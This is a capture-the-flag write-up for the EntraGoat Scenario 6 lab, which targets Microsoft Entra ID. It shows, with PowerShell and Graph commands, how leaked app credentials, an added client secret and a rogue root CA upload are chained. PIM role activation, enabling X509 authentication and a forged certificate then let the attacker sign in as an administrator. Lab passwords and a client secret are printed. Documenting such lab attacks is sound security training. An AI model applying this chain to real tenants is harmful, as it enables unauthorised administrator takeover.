EntraGoat

EntraGoat Scenario 6 – CBA (Certificate Bypass Authority)

Objective

Obtain access to:

EntraGoat-admin-s6@neho7890gmail.onmicrosoft.com

and retrieve the flag stored in:

extensionAttribute1

Initial Access

Provided credentials:

Username: terence.mckenna@neho7890gmail.onmicrosoft.com
Password: TheGoatAccess!123

Digging through a legacy PowerShell repository, I found a hardcoded application credential — the kind of secret that gets committed “temporarily” and then lives forever:

$clientId = '95a46ded-8e94-4c55-891c-d54a1cbd3649'
$clientSecret = 'SI~8Q~IWJ26iaPaehQs~H4Ol76pvol7ZdsXNMc9V'
$tenantId = '22ec0708-918a-4446-854c-4fb5c710c354'

Repository comment:

Legacy auth policy automation - DO NOT DELETE

The credentials belonged to:

Legacy-Automation-Service

Phase 1 – Legacy-Automation-Service

Authentication

I authenticated to Microsoft Graph with those leaked credentials to see what the service principal could actually do.

Verified context:

AppName : Legacy-Automation-Service
AuthType : AppOnly

Enumeration

Enumerated Microsoft Graph permissions:

Get-MgServicePrincipalAppRoleAssignment `
-ServicePrincipalId "600be301-1b35-462d-9a34-6f813b23d9b8" `
-All

Resolved permissions:

Application.ReadWrite.OwnedBy
Directory.Read.All

The most interesting permission was:

Application.ReadWrite.OwnedBy

which allows management of applications owned by the current service principal.

Privilege Escalation #1

Enumerated owned objects:

Get-MgServicePrincipalOwnedObject `
-ServicePrincipalId "600be301-1b35-462d-9a34-6f813b23d9b8" `
-All

Discovered:

DataSync-Production

Application:

DisplayName : DataSync-Production
AppId       : b693631b-57dc-44ad-b530-20d7eb2f9f60

Application.ReadWrite.OwnedBy only covers apps this principal owns — so the useful question was what does it own. It owned DataSync-Production, and ownership means I can mint credentials for it. I added a new client secret:

Add-MgApplicationPassword `
-ApplicationId "5011a768-2915-48b3-b20e-0d5d39c0d170"

That secret pivoted me into a second, more privileged identity:

DataSync-Production

Phase 2 – DataSync-Production

Authentication

Authenticated using the newly generated client secret.

Verified context:

AppName : DataSync-Production
AuthType : AppOnly

Enumeration

Enumerated Graph permissions assigned to DataSync-Production:

Get-MgServicePrincipalAppRoleAssignment `
-ServicePrincipalId $DataSyncServicePrincipal.Id `
-All

Resolved permissions:

Directory.Read.All
Organization.ReadWrite.All

The most interesting permission was:

Organization.ReadWrite.All

Privilege Escalation #2

Create Rogue Certificate Authority

Generated a new Root CA:

EntraGoat Scenario6 Root CA

Upload Rogue Root CA

Enumerated Certificate-Based Authentication configuration:

Invoke-MgGraphRequest `
-Method GET `
-Uri "<https://graph.microsoft.com/v1.0/organization/$($Organization.Id)/certificateBasedAuthConfiguration>"

Uploaded the attacker-controlled Root CA:

Invoke-MgGraphRequest `
-Method POST `
-Uri "<https://graph.microsoft.com/v1.0/organization/$($Organization.Id)/certificateBasedAuthConfiguration>"

Verified:

Issuer:
CN=EntraGoat Scenario6 Root CA

isRootAuthority:
true

At this point the tenant trusted certificates issued by an attacker-controlled CA.

Phase 3 – Terence McKenna

Enumeration

Logged in as:

terence.mckenna@neho7890gmail.onmicrosoft.com

Reviewed PIM assignments.

Discovered:

Authentication Policy Managers

Eligible assignment.

Activated:

Authentication Policy Managers

through Microsoft Entra PIM.

Role obtained:

Authentication Policy Administrator

Privilege Escalation #3

Enumerated Authentication Methods Policy:

Get-MgPolicyAuthenticationMethodPolicy

Enumerated X509 Certificate Authentication configuration:

Invoke-MgGraphRequest `
-Method GET `
-Uri "<https://graph.microsoft.com/beta/policies/authenticationMethodsPolicy/authenticationMethodConfigurations/x509Certificate>"

Observed:

"state": "disabled"

Enabled X509 Certificate Authentication:

Invoke-MgGraphRequest `
-Method PATCH `
-Uri "<https://graph.microsoft.com/beta/policies/authenticationMethodsPolicy/authenticationMethodConfigurations/x509Certificate>"

Verified:

"state": "enabled"

The tenant now accepted Certificate-Based Authentication.

Phase 4 – Forged Identity

At this stage:

DataSync-Production
        ↓
Trusted Rogue Root CA

Terence McKenna
        ↓
Enabled X509 Certificate Authentication

The tenant trust chain was now attacker-controlled.

Generate Forged Certificate

Loaded the rogue Root CA:

$RootCert = Get-ChildItem Cert:\\CurrentUser\\My |
Where-Object {
    $_.Subject -eq "CN=EntraGoat Scenario6 Root CA"
} |
Select-Object -First 1

Generated a certificate for the target administrator:

$TargetUpn = "EntraGoat-admin-s6@neho7890gmail.onmicrosoft.com"

$UserCert = New-SelfSignedCertificate `
-Subject "CN=$TargetUpn" `
-Signer $RootCert `
-KeyExportPolicy Exportable `
-KeySpec Signature `
-KeyLength 2048 `
-KeyAlgorithm RSA `
-HashAlgorithm SHA256 `
-CertStoreLocation "Cert:\\CurrentUser\\My" `
-NotAfter (Get-Date).AddMonths(6) `
-TextExtension @(
"2.5.29.17={text}upn=$TargetUpn&email=$TargetUpn"
)

Verified:

Subject:
CN=EntraGoat-admin-s6@neho7890gmail.onmicrosoft.com

Issuer:
CN=EntraGoat Scenario6 Root CA

Export and Import Certificate

Created PFX password:

$PfxPassword = ConvertTo-SecureString `
-String "EntraGoat123!" `
-AsPlainText `
-Force

Exported:

Export-PfxCertificate `
-Cert $UserCert `
-FilePath $UserCertPath `
-Password $PfxPassword

Imported:

Import-PfxCertificate `
-FilePath $UserCertPath `
-CertStoreLocation "Cert:\\CurrentUser\\My" `
-Password $PfxPassword

Verified certificate installation:

Thumbprint:
A65260F71EB5F2580309920E4AB48AD296279956

Authentication As Administrator

Navigated to:

<https://entra.microsoft.com>

Selected:

Sign-in Options
        ↓
Certificate Authentication

Selected forged certificate:

EntraGoat-admin-s6@neho7890gmail.onmicrosoft.com

Because:

1. The Root CA was trusted.
2. Certificate Authentication was enabled.

Microsoft Entra accepted the certificate and authenticated the session as:

EntraGoat-admin-s6

Flag Retrieval

Navigated to:

Users
→ EntraGoat-admin-s6
→ Extension Attributes

Retrieved:

EntraGoat{C3rt_Byp@ss_R00t3d_4dm1n}

Attack Path

Terence McKenna
        ↓

Leaked Credentials
        ↓

Legacy-Automation-Service
        ↓
Application.ReadWrite.OwnedBy
        ↓

DataSync-Production
        ↓
Organization.ReadWrite.All
        ↓
Upload Rogue Root CA
        ↓

Terence McKenna
        ↓
PIM Activation
(Authentication Policy Managers)
        ↓
Authentication Policy Administrator
        ↓
Enable X509 Certificate Authentication
        ↓

Forge Certificate
for EntraGoat-admin-s6
        ↓

Authenticate as
EntraGoat-admin-s6
        ↓

Read Flag